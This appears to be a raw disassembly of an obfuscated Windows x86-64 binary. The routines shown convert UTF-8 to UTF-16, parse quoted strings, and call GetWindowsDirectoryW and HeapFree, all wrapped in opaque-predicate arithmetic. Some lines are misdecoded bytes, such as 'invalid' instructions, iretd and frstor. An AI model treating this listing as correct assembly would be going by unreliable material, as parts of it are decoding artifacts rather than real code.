cmp edx, 0x5771e77a
jb 0x1400adb80
jmp 0x1400adc50
mov edx, ecx
and edx, 0x1f
movzx r9d, byte [r14 + 1]
add qword [rcx - 0x7d], r8
loope 0x1400adbf8
cmp cl, 0xdf
jbe 0x1400adc36
movzx r8d, byte [r14 + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp cl, 0xf0
jb 0x1400adcc1
movzx ecx, byte [r14 + 3]
add r14, 4
and edx, 7
shl edx, 0x12
nop word cs:[rax + rax]
mov r9d, dword [0x141f401b0]
imul r9d, dword [0x141f401b4]
and r9d, 0xe7bc1921
imul r9d, r9d, 0x8e2d29f2
add r9d, 0x8b83e312
cmp r9d, 0x9e06479d
ja 0x1400adbf0
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0xffff
jbe 0x1400adc50
jmp 0x1400adcda
add r14, 2
shl edx, 6
or edx, r9d
mov ecx, edx
nop word cs:[rax + rax]
mov edx, dword [0x141f401b8]
xor edx, dword [0x141f401bc]
xor edx, 0xca25ba69
cmp edx, 0x5ff6a59b
jae 0x1400adc50
xor r15d, r15d
mov edi, ecx
cmp rbx, qword [rsp + 0x1f0]
jne 0x1400add50
mov rax, rbp
sub rax, r14
add rax, 0x1e
mul rsi
shr rdx, 1
cmp r15w, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rcx, r12
mov rdx, rbx
call fcn.1401035b0
mov rax, qword [rsp + 0x1f8]
jmp 0x1400add50
add r14, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xffff
jbe 0x1400adc50
lea edi, [rcx + 0xff0000]
shr edi, 0xa
or edi, 0xd800
nop dword [rax]
mov edx, dword [0x141f401c0]
or edx, dword [0x141f401c4]
imul edx, edx, 0x68328266
imul rdx, rdx, 0x2874ded1
shr rdx, 0x3d
or edx, 0x92d91b68
cmp edx, 0xc637b07e
ja 0x1400adcf0
and ecx, 0x3ff
or ecx, 0xdc00
mov r15d, ecx
cmp rbx, qword [rsp + 0x1f0]
jne 0x1400add50
jmp 0x1400adc7d
mov word [rax + rbx*2], di
lea rcx, [rbx + 1]
mov qword [rsp + 0x200], rcx
mov edx, dword [0x141f401c8]
xor edx, dword [0x141f401cc]
and edx, 0x189f6812
xor edx, 0x4222bb49
lea rcx, [rbx + 1]
mov word [rax + rbx*2], di
mov qword [rsp + 0x200], rcx
cmp edx, 0x4f250fb2
jbe 0x1400add40
mov rbx, rcx
mov edi, r15d
mov r15, qword [rsp + 0x80]
jmp 0x1400adb30
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xb0], rax
mov eax, dword [0x141f401d0]
add eax, dword [0x141f401d4]
or eax, 0xeff79dbf
imul eax, eax, 0xd476cc7d
movups xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0xa0], xmm0
cmp eax, 0xc17ed61f
ja 0x1400adda0
mov r13, qword [rsp + 0x90]
nop word cs:[rax + rax]
mov eax, dword [0x141f401d8]
add eax, dword [0x141f401dc]
imul rax, rax, 0x44fdbf4b
shr rax, 0x3e
xor eax, 0xfba3030d
cmp eax, 0x7654aa28
jb 0x1400addf0
mov rbx, qword [rsp + 0xb0]
cmp rbx, qword [rsp + 0xa0]
jne 0x1400ade5d
mov eax, dword [0x141f401e0]
or eax, dword [0x141f401e4]
xor eax, 0xbba713db
imul eax, eax, 0xb2452ce5
cmp eax, 0x286a135c
jne 0x1400ade50
lea rcx, [rsp + 0xa0]
call fcn.1400e09f0
lea rcx, [rsp + 0xa0]
call fcn.1400e09f0
mov r14, qword [rsp + 0xa8]
mov word [r14 + rbx*2], 0x22
inc rbx
mov qword [rsp + 0xb0], rbx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x118]
lea rax, [rax + rcx*2]
nop dword [rax + rax]
mov ecx, dword [str.___o8]
xor ecx, dword [0x141f401ec]
imul rcx, rcx, 0x129164e9
shr rcx, 0x3b
imul ecx, ecx, 0x8a5b1637
or ecx, 0x34a1a1df
cmp ecx, 0xb2c60eef
jb 0x1400ade90
lea r12, [0x141f258d0]
mov rcx, qword [rsp + 0x58]
nop word [rax + rax]
cmp rcx, rax
je 0x1400adf47
nop word cs:[rax + rax]
mov edx, dword [0x141f401f0]
or edx, dword [0x141f401f4]
add edx, 0x18381df1
and edx, 0x3390f475
cmp edx, 0xdffe99d
jb 0x1400adee0
movzx edx, word [rcx]
add rcx, 2
nop word [rax + rax]
mov r8d, dword [0x141f401f8]
sub r8d, dword [0x141f401fc]
xor r8d, 0xb816b88c
imul r8d, r8d, 0xcb8f387
add r8d, 0xd20a8600
cmp r8d, 0xeb397fb4
ja 0x1400adf10
cmp dx, 0x22
jne 0x1400aded0
jmp 0x1400b2170
mov r9, qword [rsp + 0x118]
test r9, r9
je 0x1400adf9d
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + r9*2 - 2]
cmp ax, 0x5c
je 0x1400b2170
xor ecx, ecx
test ax, ax
cmove rcx, qword [rsp + 0x58]
mov eax, dword [0x141f40200]
xor edx, edx
div dword [0x141f40204]
and eax, 0xa6a4c50
add eax, 0x6dd671f6
cmp eax, 0xc1a6326c
ja 0x1400adf74
mov r9, qword [rsp + 0x118]
jmp 0x1400adf9f
xor ecx, ecx
lea rax, [r9 - 1]
mov r8, qword [rsp + 0x58]
mov edx, dword [0x141f40208]
xor edx, dword [0x141f4020c]
xor edx, 0x848386e2
imul edx, edx, 0x738c002
test rcx, rcx
mov rsi, rax
cmove rsi, r9
mov r12, rcx
cmove r12, r8
cmp edx, 0xd94b0c30
ja 0x1400adfa8
lea r13, [rsi + rsi]
mov rdi, qword [rsp + 0xa0]
mov rax, rdi
sub rax, rbx
cmp rax, rsi
jb 0x1400ae0c8
lea rcx, [r14 + rbx*2]
mov rdx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbx
mov qword [rsp + 0xb0], rsi
cmp rsi, rdi
mov rdi, qword [rsp + 0x68]
jne 0x1400ae07f
mov eax, dword [0x141f40218]
sub eax, dword [0x141f4021c]
imul eax, eax, 0xba641d68
add eax, 0xacabd9d0
xor eax, 0x33e1e8cb
cmp eax, 0x444a00ac
jae 0x1400ae048
lea rcx, [rsp + 0xa0]
call fcn.1400e09f0
add eax, dword [rax]
lea rcx, [rsp + 0xa0]
call fcn.1400e09f0
mov r14, qword [rsp + 0xa8]
mov eax, dword [0x141f40220]
xor eax, dword [0x141f40224]
or eax, 0x20c292f0
xor eax, 0x633d3259
add eax, 0x2350b0e0
cmp eax, 0xf719edf1
ja 0x1400ae05d
mov eax, dword [0x141f40228]
add eax, dword [0x141f4022c]
imul eax, eax, 0x361ea7d7
xor eax, 0x6fd749cc
add eax, 0xac3d5f13
cmp eax, 0x992e7076
ja 0x1400b123b
jmp 0x1400b120f
ud2
mov qword [rsp + 0x20], 2
lea rcx, [rsp + 0xa0]
mov r9d, 2
mov rdx, rbx
mov r8, rsi
call fcn.1401035b0
mov rbx, qword [rsp + 0xb0]
mov eax, dword [0x141f40210]
and eax, dword [0x141f40214]
add eax, 0x9c32ebd2
xor eax, 0xc8103d93
add eax, 0xab841180
cmp eax, 0x318c962a
jb 0x1400ae0f2
mov rdi, qword [rsp + 0xa0]
mov r14, qword [rsp + 0xa8]
jmp 0x1400adff4
mov eax, dword [0x141f40180]
add eax, dword [0x141f40184]
and cl, ch
add dword [0xf4704371], esp
imul eax, eax, 0x4e07404c
add eax, 0x3c0a7c9e
cmp eax, 0x38f55f50
jb 0x1400ac103
jmp case.default.0x1400ab46c
mov eax, dword [0x141f400f8]
add eax, dword [0x141f400fc]
imul eax, eax, 0x43f61405
add eax, 0xe2828da6
cmp eax, 0x4fa13d5d
jbe 0x1400ae175
ud2
mov eax, dword [0x141f40100]
sub eax, dword [0x141f40104]
or eax, 0xaed28858
imul eax, eax, 0xeeffb41e
ud2
mov eax, dword [0x141f40170]
imul eax, dword [0x141f40174]
imul eax, eax, 0x1e8cffc1
cmp eax, 0xcaefb9d5
je 0x1400b2a05
jmp 0x1400b29da
mov eax, dword [0x141f3fce0]
sub eax, dword [0x141f3fce4]
add eax, 0x7b53adfe
or eax, 0x1a3d132
mov rsi, qword [0x141f49060]
cmp eax, 0x877c2731
jl 0x1400ae188
jae 0x1400ae20c
mov rax, qword [0x141f49060]
jmp 0x1400ae1df
mov eax, dword [0x141f3fce8]
imul eax, dword [0x141f3fcec]
add eax, 0xc190cf08
iretd
nop
sal dword [0x15837d402], 0x3d
je 0x1400ae201
add al, 0xf9
jbe 0x1400ae238
mov rcx, rsi
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
xor edx, edx
mov r8, r14
jmp 0x1400ae4c1
mov eax, dword [0x141f3fc28]
mov ecx, dword [0x141f3fc2c]
add eax, ecx
add eax, 0x5b052640
and eax, 0xd23bcabd
add eax, 0xa147e6c1
mov rcx, qword [0x141f49060]
cmp eax, 0x3c8e530a
jae 0x1400ae279
mov rax, qword [0x141f49060]
jmp 0x1400ae245
xor edx, edx
mov r8, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
invalid
mov eax, dword [0x141f3fc30]
sub eax, dword [0x141f3fc34]
add eax, 0xbfe7b3ef
and eax, 0x9a69c402
cmp eax, 0x9c0de7b
jb 0x1400ae286
invalid
or r14, 2
nop word [rax + rax]
mov eax, dword [0x141f3fc38]
xor eax, dword [0x141f3fc3c]
and eax, 0xf4e4b283
imul eax, eax, 0x4b377cb0
sal byte [rax + 0x54b377c], 0xc0
adc bl, byte [rdi - 0x64]
invalid
sal byte [rax + 0x54b377c], 0xc0
adc bl, byte [rdi - 0x64]
cmp eax, 0x8d848eaf
jb 0x1400ae2b0
invalid
frstor dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov eax, dword [0x141f3fc40]
and eax, dword [0x141f3fc44]
add dword [0xe518f74d], eax
cmp eax, 0x9a8aa114
jb 0x1400ae2e0
mov eax, r14d
and eax, 3
lea rcx, [0x141f2738c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rbx, [r14 - 1]
mov eax, dword [str.mP0O]
xor edx, edx
div dword [0x141f3fcf4]
imul eax, eax, 0xc239b8e4
add eax, 0xb2c351f7
xor eax, 0xa811398b
cmp eax, 0x587bf51b
ja 0x1400ae312
mov rsi, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov r14, qword [rdi]
test r14, r14
je 0x1400ae36f
mov ebp, dword [0x141f3fcf8]
sub ebp, dword [0x141f3fcfc]
add ebp, 0x8dd80f48
mov rcx, rsi
call r14
cmp ebp, 0x5f0b104d
jae 0x1400ae36f
mov rcx, rsi
call r14
jmp 0x1400ae347
cmp qword [rdi + 8], 0
je 0x1400ae46d
mov rcx, qword [rdi + 0x10]
mov eax, dword [0x141f3fd00]
xor edx, edx
div dword [0x141f3fd04]
and eax, 0x6ab99d4e
xor eax, 0xdbbc25c0
imul eax, eax, 0xa2ab9dd2
cmp eax, 0xd66426df
ja 0x1400ae37e
mov eax, dword [0x141f3fd08]
or eax, dword [0x141f3fd0c]
xor eax, 0x70c3f765
imul eax, eax, 0x139ef032
or eax, 0x2034f112
cmp eax, 0x82988a33
jb 0x1400ae3a3
cmp rcx, 0x11
jb 0x1400ae3fd
mov eax, dword [0x141f3fd10]
sub eax, dword [0x141f3fd14]
imul rcx, rax, 0x2d894961
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1d
imul eax, eax, 0x6b3e49e7
cmp eax, 0x6f2c88f7
je 0x1400ae3cc
mov rsi, qword [rsi - 8]
mov eax, dword [0x141f3fd18]
imul eax, dword [0x141f3fd1c]
or eax, 0x17e902a0
imul eax, eax, 0xd4d55496
add eax, 0x3acbffce
cmp eax, 0xa2693992
jb 0x1400ae459
mov edi, dword [0x141f3fd20]
and edi, dword [str._m9L]
xor edi, 0x86178866
add edi, 0xb10933cc
or edi, 0xf676b61
invalid
imul esp, dword [rdi + 0xf], 0x48
mov ecx, dword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, 0x874761b0
jbe 0x1400ae46d
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400ae421
mov eax, dword [0x141f3fd28]
add eax, dword [0x141f3fd2c]
cmp eax, 0x90e169ee
invalid
loope 0x1400ae40e
je 0x1400ae4b3
imul esp, ecx, 0x8b337490
add eax, 0x1e918aa
mov eax, dword [0x141f3fd30]
imul eax, dword [0x141f3fd34]
mov ecx, 0x99a6319b
imul rcx, rax
shr rcx, 0x3e
imul eax, ecx, 0x3a46dfe4
and eax, 0xfef720e0
mov rcx, qword [0x141f49060]
cmp eax, 0xdf8696b0
jbe 0x1400ae4bc
jmp 0x171a69d91
mov rax, qword [0x141f49060]
jmp 0x1400ae480
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x130], 0
mov ebp, 0x200
mov eax, 2
mov qword [rsp + 0x78], rax
xor ebx, ebx
xor r14d, r14d
nop
cmp rbp, 0x201
jae 0x1400ae520
mov eax, 0x200
mov qword [rsp + 0x60], rax
lea rsi, [rsp + 0x1f0]
jmp 0x1400ae610
mov eax, dword [0x141f3fd38]
and eax, dword [0x141f3fd3c]
add eax, 0x80fa36ac
xor eax, 0xea0958eb
cmp eax, 0x53d04002
jb 0x1400ae520
sub rbp, r14
mov rax, rbx
sub rax, r14
cmp rbp, rax
ja 0x1400ae57c
mov eax, dword [0x141f3fd40]
imul eax, dword [0x141f3fd44]
and eax, 0xa0030800
or eax, 0x5ebcf5d0
xor eax, 0x699473a4
cmp eax, 0x75918c60
mov ecx, 0xffffffff
ja 0x1400ae76b
jmp 0x1400ae750
mov eax, dword [0x141f3fd48]
or eax, dword [0x141f3fd4c]
xor eax, 0xa4690060
cmp eax, 0x9cbd5760
jbe 0x1400ae5b6
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x120]
mov rdx, r14
mov r8, rbp
call fcn.1401035b0
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x120]
mov rdx, r14
mov r8, rbp
call fcn.1401035b0
mov rbx, qword [rsp + 0x120]
mov eax, dword [0x141f3fd50]
xor eax, dword [0x141f3fd54]
and eax, 0x86030008
add eax, 0x67d1dfb5
cmp eax, 0xf90414b9
ja 0x1400ae5e0
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x78], rax
jmp 0x1400ae54b
xor ecx, ecx
call r15
mov rcx, rsi
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, eax
test eax, eax
jne 0x1400ae663
jmp 0x1400ae633
call r12
mov r13d, dword [0x141f3fd58]
or r13d, dword [0x141f3fd5c]
add r13d, 0x7991fc18
or r13d, 0x54ce36ed
call r12
cmp r13d, 0xfb3040cb
ja 0x1400ae630
test eax, eax
jne 0x1400ae952
mov r13d, edi
nop word cs:[rax + rax]
mov eax, dword [0x141f3fd70]
imul eax, dword [0x141f3fd74]
add eax, 0x66320e66
xor eax, 0xcb281d62
cmp eax, 0x4cbb31bd
jb 0x1400ae670
cmp rbp, r13
jne 0x1400ae6f0
xor eax, eax
test al, al
je 0x1400ae69c
call r12
call r12
cmp eax, 0x7a
jne 0x1400aeb16
nop dword [rax + rax]
mov eax, dword [0x141f3fd80]
or eax, dword [0x141f3fd84]
add eax, 0x8d01d59f
or eax, 0x2210a4fc
add eax, 0x1955908f
cmp eax, 0x2435e20c
jb 0x1400ae6b0
cmp rbp, 0x7fffffff
lea rbp, [rbp + rbp]
mov eax, 0xffffffff
cmova rbp, rax
jmp 0x1400ae720
mov eax, dword [0x141f3fd78]
and eax, dword [0x141f3fd7c]
or eax, 0x1e79cd7a
imul eax, eax, 0xc1d3ffac
xor eax, 0x90cabd33
cmp eax, 0xf7bf9d17
ja 0x1400ae6f0
cmp rbp, r13
jae 0x1400ae7a2
mov rbp, r13
nop
mov eax, dword [0x141f3fd88]
xor eax, dword [0x141f3fd8c]
imul eax, eax, 0x52bf9c1c
add eax, 0x65f35c05
or eax, 0x45846ae2
cmp eax, 0xebc6e8ee
jae 0x1400ae720
jmp 0x1400ae500
cmp rbx, rcx
mov r14d, 0xffffffff
cmovb r14, rbx
mov qword [rsp + 0x130], r14
xor eax, eax
test al, al
je 0x1400ae790
cmp rbx, rcx
mov eax, 0xffffffff
cmovb rax, rbx
mov qword [rsp + 0x130], rax
jmp 0x1400ae750
mov qword [rsp + 0x60], r14
mov rsi, qword [rsp + 0x78]
mov rbp, r14
jmp 0x1400ae610
cmp qword [rsp + 0x60], r13
jb 0x1400ae92e
mov eax, dword [0x141f3fd98]
sub eax, dword [0x141f3fd9c]
imul eax, eax, 0xce2661fd
add eax, 0x4818af58
or eax, 0x7a394364
cmp eax, 0xb614dea2
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x110]
jbe 0x1400ae7f3
lea rcx, [rsp + 0xa0]
mov rdx, rsi
mov r8, r13
call fcn.1400918d0
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov rdx, rsi
mov r8, r13
call fcn.1400918d0
mov rcx, rdi
mov rdx, qword [rsp + 0x58]
mov r8, r14
call fcn.14009bd30
cmp qword [rsp + 0x150], 1
mov r13, qword [rsp + 0x90]
jne 0x1400ae9b2
mov rsi, qword [rsp + 0xa8]
nop dword [rax + rax]
mov eax, dword [0x141f3fda8]
xor eax, dword [0x141f3fdac]
imul eax, eax, 0x4c0eca05
or eax, 0x438ac935
and eax, 0xe3beefff
cmp eax, 0xca8cf6c0
ja 0x1400ae840
mov r8, qword [rsp + 0xb0]
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.1400b7d10
cmp qword [rsp + 0xa0], 0
je 0x1400ae8b7
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f3fdb0]
mov ecx, dword [0x141f3fdb4]
add eax, ecx
add eax, 0xc4debdb5
and eax, 0x981522e6
cmp eax, 0x7ca2e43b
jb 0x1400ae898
mov r12, qword [rsp + 0x160]
mov r14, qword [rsp + 0x168]
mov rbp, qword [rsp + 0x170]
test rbx, rbx
movabs rbx, 0x8000000000000000
je 0x1400aebab
mov eax, dword [0x141f3fdb8]
add eax, dword [0x141f3fdbc]
cmp eax, 0x194b04af
jne 0x1400ae8fc
mov rax, qword [0x141f49060]
mov rsi, qword [0x141f49060]
mov eax, dword [0x141f3fdc0]
and eax, dword [0x141f3fdc4]
and eax, 0x88a40bb1
add eax, 0x975c0e7f
cmp eax, 0x4a138c43
mov rbx, qword [rsp + 0x78]
jb 0x1400aeb6d
jmp 0x1400aeb3d
mov eax, dword [0x141f3fdd8]
or eax, dword [0x141f3fddc]
or eax, 0xbe1ec6b0
xor eax, 0x49d5a8e1
ud2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
shl r14, 0x20
test rbx, rbx
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
je 0x1400ae9f8
mov r8, qword [rsp + 0x78]
mov eax, dword [0x141f3fd60]
xor edx, edx
div dword [0x141f3fd64]
imul eax, eax, 0x37dc9fd6
add eax, 0x594bc135
xor eax, 0xb6d018fd
mov rcx, qword [0x141f49060]
cmp eax, 0x3bd6394e
jae 0x1400ae9f0
mov rax, qword [0x141f49060]
jmp 0x1400ae97d
lea rsi, [rsp + 0xa0]
mov eax, dword [0x141f3fda0]
sub eax, dword [0x141f3fda4]
imul edi, eax, 0xb70c25ea
add edi, 0xb8920dfe
mov rcx, rsi
call fcn.1400a7f50
cmp edi, 0xf218a14a
jbe 0x1400ae830
mov rcx, rsi
call fcn.1400a7f50
jmp 0x1400ae9ba
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
or r14, 2
mov eax, dword [0x141f3fd68]
xor eax, dword [0x141f3fd6c]
add eax, 0x43daf042
and eax, 0xf10bf776
add eax, 0x6e6347f9
cmp eax, 0xabb7f59d
ja 0x1400ae9fc
mov eax, r14d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400aec54
test rax, rax
je 0x1400aec54
cmp eax, 1
jne case.default.0x1400ab46c
mov rsi, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x1400aea7b
mov rcx, rsi
call rax
mov eax, dword [0x141f3fdf0]
and eax, dword [0x141f3fdf4]
add eax, 0x450f2579
xor eax, 0x4a71f5ae
add eax, 0x2f76bac8
cmp eax, 0xe18bc7e
jb 0x1400aea59
dec r14
cmp qword [rdi + 8], 0
je 0x1400aeaff
cmp qword [rdi + 0x10], 0x11
jb 0x1400aea90
mov rsi, qword [rsi - 8]
mov eax, dword [0x141f3fdf8]
or eax, dword [0x141f3fdfc]
add eax, 0x51e4426b
and eax, 0x2c19d38d
add eax, 0x423e8556
cmp eax, 0xfed92f1f
jbe 0x1400aeac4
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [0x141f3fe00]
xor ebx, dword [0x141f3fe04]
or ebx, 0xe5b6cf88
add ebx, 0x1cc1fe22
or ebx, 0xf7ab662
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call rdi
cmp ebx, 0xae12cebf
ja 0x1400aeacb
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400aec54
mov eax, dword [0x141f3fd90]
add eax, dword [0x141f3fd94]
imul eax, eax, 0x7138b1fa
and eax, 0x470069a8
cmp eax, 0x3d9a1676
ja 0x1400ac103
jmp case.default.0x1400ab46c
mov eax, dword [0x141f3fdc8]
xor edx, edx
div dword [0x141f3fdcc]
imul edi, eax, 0x472aa780
add edi, 0x6c216500
mov rcx, rsi
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, 0x9ddb1d4b
jbe 0x1400aeb7d
mov rcx, rsi
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400aeb3d
movabs rbx, 0x8000000000000000
mov eax, dword [0x141f3fdd0]
xor edx, edx
div dword [0x141f3fdd4]
add eax, 0x842cf702
xor eax, 0x10e122
or eax, 0xbeb1a99
cmp eax, 0xb358a361
ja 0x1400aeb87
lea rax, [rbx + 2]
mov rsi, r12
cmp r12, rax
jge 0x1400af3b8
cmp rsi, rbx
je 0x1400aec54
movabs rax, 0x8000000000000001
cmp rsi, rax
je 0x1400aea1e
xor eax, eax
test al, al
je 0x1400aebe4
mov rax, qword [0x141f49060]
mov rsi, qword [0x141f49060]
mov eax, dword [str.4_via]
imul eax, dword [0x141f3fde4]
add eax, 0x8f3773ec
and eax, 0x9f3deecf
add eax, 0x57adeace
cmp eax, 0xee144b61
jbe 0x1400aec1c
mov rcx, rsi
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [0x141f3fde8]
imul ebx, dword [0x141f3fdec]
xor ebx, 0x7bd6811e
add ebx, 0x2e15c8eb
and ebx, 0xf6aa18be
mov rcx, rsi
xor edx, edx
mov r8, r14
call rdi
cmp ebx, 0x4711113f
jae 0x1400aec23
lea rsi, [0x141f25831]
lea rdi, [rsp + 0xa0]
nop word cs:[rax + rax]
mov ebx, dword [0x141f3fe08]
or ebx, dword [0x141f3fe0c]
or ebx, 0xd53d3404
add ebx, 0xa2a0df54
and ebx, 0xbc9ad519
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.140095520
cmp ebx, 0x7b591c70
jb 0x1400aec70
mov rcx, qword [rsp + 0xa0]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1400af3ef
mov qword [rsp + 0x70], rcx
mov r13, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
add r12, r13
mov byte [rsp + 0x68], 1
xor r14d, r14d
mov r15d, 0xb161078b
mov qword [rsp + 0x158], r13
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 2
mov qword [rsp + 0x170], 0
mov ecx, 2
xor r8d, r8d
mov ebp, r14d
xor edi, edi
mov esi, ebp
test bp, bp
jne 0x1400aed50
jmp 0x1400aed9d
mov word [rcx + r8*2], si
inc r8
mov qword [rsp + 0x170], r8
mov esi, ebp
test bp, bp
je 0x1400aed9d
nop word cs:[rax + rax]
xor r14d, r14d
xor ebp, ebp
cmp si, 0x22
jne 0x1400aeeab
and dil, 1
nop word cs:[rax + rax]
mov eax, dword [0x141f3fe30]
xor edx, edx
div dword [0x141f3fe34]
imul rax, r15
shr rax, 0x3f
or eax, 0xe8ca64d2
cmp eax, 0x61ad858b
jbe 0x1400aed70
xor dil, 1
mov esi, ebp
test bp, bp
jne 0x1400aed50
cmp r13, r12
je 0x1400aefeb
nop word cs:[rax + rax]
mov eax, dword [0x141f3fe10]
imul eax, dword [0x141f3fe14]
xor eax, 0x51dec518
add eax, 0xcb14f9f3
cmp eax, 0xeb55d072
ja 0x1400aedb0
movzx esi, byte [r13]
test sil, sil
js 0x1400aee10
inc r13
nop dword [rax + rax]
mov eax, dword [0x141f3fe18]
add eax, dword [0x141f3fe1c]
and eax, 0xf40dfa10
add eax, 0x39dbab34
xor eax, 0x21c47987
cmp eax, 0xfe179bc
jb 0x1400aede0
jmp 0x1400aed53
mov eax, esi
and eax, 0x1f
movzx r9d, byte [r13 + 1]
and r9d, 0x3f
cmp sil, 0xdf
jbe 0x1400aee93
movzx edx, byte [r13 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp sil, 0xf0
jb 0x1400aeefb
nop dword [rax]
mov r9d, dword [0x141f3fe20]
xor r9d, dword [0x141f3fe24]
xor r9d, 0x4838230c
or r9d, 0xa74318b1
add r9d, 0xc62c2a51
cmp r9d, 0xde5bda98
ja 0x1400aee40
movzx esi, byte [r13 + 3]
add r13, 4
and eax, 7
shl eax, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, eax
cmp esi, 0xffff
jbe 0x1400aed53
jmp 0x1400aef12
add r13, 2
shl eax, 6
or eax, r9d
mov esi, eax
xor ebp, ebp
cmp si, 0x22
je 0x1400aed5f
movzx eax, si
cmp eax, 0x3b
jne 0x1400aeebd
test dil, 1
je 0x1400af3b0
cmp r8, qword [rsp + 0x160]
jne 0x1400aed2f
mov qword [rsp + 0x60], r8
mov eax, dword [0x141f3fe60]
sub eax, dword [0x141f3fe64]
and eax, 0x4408421
xor eax, 0xb3edeee7
cmp eax, 0x7af52f14
lea rbx, [rsp + 0x160]
jb 0x1400aef9a
jmp 0x1400aef6a
add r13, 3
shl eax, 0xc
or edx, eax
mov esi, edx
cmp esi, 0xffff
jbe 0x1400aed53
lea eax, [rsi + 0xff0000]
nop dword [rax + rax]
mov edx, dword [0x141f3fe28]
or edx, dword [0x141f3fe2c]
add edx, 0x6920dd61
xor edx, 0x10b5b0c0
cmp edx, 0xf3d06b77
ja 0x1400aef20
shr eax, 0xa
or eax, 0xd800
and esi, 0x3ff
or esi, 0xdc00
mov r14d, esi
mov ebp, esi
mov esi, eax
cmp si, 0x22
je 0x1400aed5f
jmp 0x1400aeeab
mov eax, dword [0x141f3fe68]
xor edx, edx
div dword [0x141f3fe6c]
and eax, 0x10400046
or eax, 0xedbea718
imul r12d, eax, 0x96363a97
mov rcx, rbx
call fcn.1400e09f0
cmp r12d, 0xa5ba7a3d
jae 0x1400aefb0
mov rcx, rbx
call fcn.1400e09f0
jmp 0x1400aef6a
mov eax, dword [0x141f3fe70]
imul eax, dword [0x141f3fe74]
imul eax, eax, 0x75b2ba2e
or eax, 0x6b09a58c
and eax, 0xfb4de5ce
cmp eax, 0x139d4996
jb 0x1400aefb0
mov rcx, qword [rsp + 0x168]
mov r12, qword [rsp + 0x78]
mov r8, qword [rsp + 0x60]
jmp 0x1400aed2f
xor esi, esi
mov rdi, qword [rsp + 0x110]
lea rbp, [rsp + 0x1f0]
movzx eax, byte [rsp + 0x68]
test al, al
jne 0x1400af03b
test r8, r8
jne 0x1400af03b
movabs rbx, 0x8000000000000000
mov qword [rsp + 0x1f0], rbx
nop dword [rax]
mov eax, dword [0x141f3fe38]
or eax, dword [0x141f3fe3c]
imul eax, eax, 0x111982bd
cmp eax, 0x2161537e
je 0x1400af020
jmp 0x1400af060
mov rdx, qword [rsp + 0x168]
mov rcx, rbp
call fcn.1400918d0
movabs rbx, 0x8000000000000000
nop word cs:[rax + rax]
mov eax, dword [0x141f3fe40]
xor eax, dword [0x141f3fe44]
and eax, 0x15911292
add eax, 0x6bd6391e
cmp eax, 0x74c92ecc
jb 0x1400af060
mov rax, qword [rsp + 0x160]
nop word cs:[rax + rax]
mov ecx, dword [0x141f3fe48]
imul ecx, dword [0x141f3fe4c]
or ecx, 0xdc4ad2f9
imul ecx, ecx, 0xadb23082
add ecx, 0xa20d00bc
cmp ecx, 0x1371b625
jb 0x1400af090
test rax, rax
je 0x1400af11c
nop dword [rax]
mov eax, dword [0x141f3fe50]
and eax, dword [0x141f3fe54]
cmp eax, 0x254185fe
je 0x1400af0c0
mov r8, qword [rsp + 0x168]
